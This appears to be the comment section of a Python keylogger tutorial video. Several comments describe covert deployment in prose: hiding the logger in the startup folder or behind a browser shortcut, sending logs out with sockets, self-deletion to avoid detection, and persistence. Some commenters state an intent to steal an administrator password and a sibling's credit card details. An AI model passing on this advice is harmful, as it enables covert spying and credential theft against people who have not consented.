  • @PakontaRaptor
    @PakontaRaptor 7 ปีที่แล้ว +2

    Wix is the Tai Lopez of programming tutorials.

  • @theocmouze
    @theocmouze 8 ปีที่แล้ว

    Opened this twice nearly simultaneously and wondered what was going on when the two tracks mixed....
    Try it, it's fun.

  • @dasatlasIp
    @dasatlasIp 7 ปีที่แล้ว

    Freakin' Gerald Jakob Hobbs explaining stuff.

  • @nacityishere9111
    @nacityishere9111 7 ปีที่แล้ว +1

    to start the script with out the person knowing you can put it in the shell:startup folder simple press ctrl + r
    from the run window then in the box type shell:startup and put the keylogger in the folder and it will start automatically when they start the computer

    • @omar_rrr
      @omar_rrr 7 ปีที่แล้ว

      Or if you want it to run when somebody opens google, right-click on Google in your desktop, go to properties.
      In properties search for "Target:". Change the value in target to the location of the keylogger file.
      Then search for "Start in:"
      Put the location of the folder where the keylogger is found. I hope it helps.

  • @musclehead1992
    @musclehead1992 8 ปีที่แล้ว

    I can tell you're very bright, keep up the good work

  • @noahnolte7288
    @noahnolte7288 4 ปีที่แล้ว

    It took me about 7 seconds in to press like. Good stuff!

  • @VladSuperKat
    @VladSuperKat 8 ปีที่แล้ว

    That internet explorer mask though =)))))))))))

  • @MrComicallyBad
    @MrComicallyBad 9 ปีที่แล้ว

    I've tried everything and this still wont work. I think I am stuck with just installing the pyHook and pyWin32 because pyHook did not seem to even install anything. Also even if I did get pyHook to work the program closes immediately but also doesn't stay open in the task manager. Also, there is no text document getting created or even if I create one there is no text being logged. Please help, I must be stuck at a very early step.

  • @tigergaj
    @tigergaj 6 ปีที่แล้ว +1

    Yeah, I specifically want one that will run and record while the windows administrator password is being typed

  • @toolzmikey4335
    @toolzmikey4335 7 ปีที่แล้ว

    I'm gonna try this now !!.. Thanks Man!

  • @noahwolton7662
    @noahwolton7662 6 ปีที่แล้ว +2

    Use python sockets to send the data to your home computer

  • @finallyfree6725
    @finallyfree6725 6 ปีที่แล้ว

    Should I learn python or c++?

  • @Raza_9798
    @Raza_9798 4 ปีที่แล้ว +1

    finally i found that the fundamental of hacking is python. have you understood the deep meaning of it?

  • @IQ88612
    @IQ88612 5 ปีที่แล้ว

    hi what is the best book that you think can turn a beginner into a python hero???)))

  • @kewaltakhellambam7710
    @kewaltakhellambam7710 5 ปีที่แล้ว

    "hack to learn Dont learn to hack"👍nice video

  • @ok-ok2
    @ok-ok2 3 ปีที่แล้ว +1

    I'm trying to learn python but it refuses to download

  • @emilyarikapu8613
    @emilyarikapu8613 3 ปีที่แล้ว

    I just tried it. It really works!!!

  • @SjiekkeHenk
    @SjiekkeHenk 8 ปีที่แล้ว

    So I've tested to see if it works and it does.
    The problem I'm having is that when I click to execute it, it pops up in task manager (like it's supposed to) but after about a second, it closes automatically.
    I've checked the code thoroughly to see if I didn't misspell something or forget any pieces of code and it is all there.
    So basically it should be working fine, can someone help me with this?
    Thank you for your time.

  • @jeethuutube
    @jeethuutube 7 ปีที่แล้ว

    Sooo getting my bros credit card details tonight!!!

  • @callumstewart5891
    @callumstewart5891 5 ปีที่แล้ว

    I know this is a super old video, but my keylogger just displays all the characters as boxes. It's not actually keylogging anything

  • @marcusw2187
    @marcusw2187 9 ปีที่แล้ว

    1. Make the keylogger distribute itself over the computer to ensure that it stays there
    2. Compile the program to a .exe file so that it doesn't require python to run
    3. Make it send the logs to a website or something so that you can remotely get them
    4. Make it delete itself after a certain time to avoid detection
    5. Make it activate only when certain windows or files are open
    Shit I'm running out of ideas

    • @Ppstate32
      @Ppstate32 8 ปีที่แล้ว

      +John Doe How do you do the 1, 2, 3, 4, and 5?

    • @marcusw2187
      @marcusw2187 8 ปีที่แล้ว

      zan colja Depends on the target system, but learning python is a good start, googling can get you the rest of the info you need.

  • @Anzhion
    @Anzhion 8 ปีที่แล้ว

    Very good understandable from a german-native!

  • @jpny2008
    @jpny2008 7 ปีที่แล้ว

    I still don't know how to work it, I thought I did everything, but how do I test it? Is it always running? Help!

  • @AnnunakisReturn
    @AnnunakisReturn 8 ปีที่แล้ว

    hey thinker where did you learn to code like this - or how / training books? - to be able to code like a black hat? been watching a few tutorials online about it not from your channel but so far only teaching me how to add intergers together... is about as dept as the other tutorials go. i need some direction can you help please

  • @Mandraquex3000
    @Mandraquex3000 8 ปีที่แล้ว

    great video! dumb question here... i know i need python to create the program, but i am guessing if i decide to try and use the program on a pc other than the one in which i created the program, i would have to download the necessary python assets

  • @justaskyourmother
    @justaskyourmother 9 ปีที่แล้ว

    I've done everything correct. I just dont know where my keystrokes are being logged at? Am I supposed to make a file or something to where the keystrokes are being recorded or where do I find out where they are being recorded at if there is already a file?

  • @benjamincoke3012
    @benjamincoke3012 9 ปีที่แล้ว

    You should do "/" instead of "\\". It's faster to type! I know it works because I use "/" in file paths in my Python programs.

  • @intelX1000
    @intelX1000 10 ปีที่แล้ว

    You didn't make it all write on the same line? Isn't it just a comma on the end in python?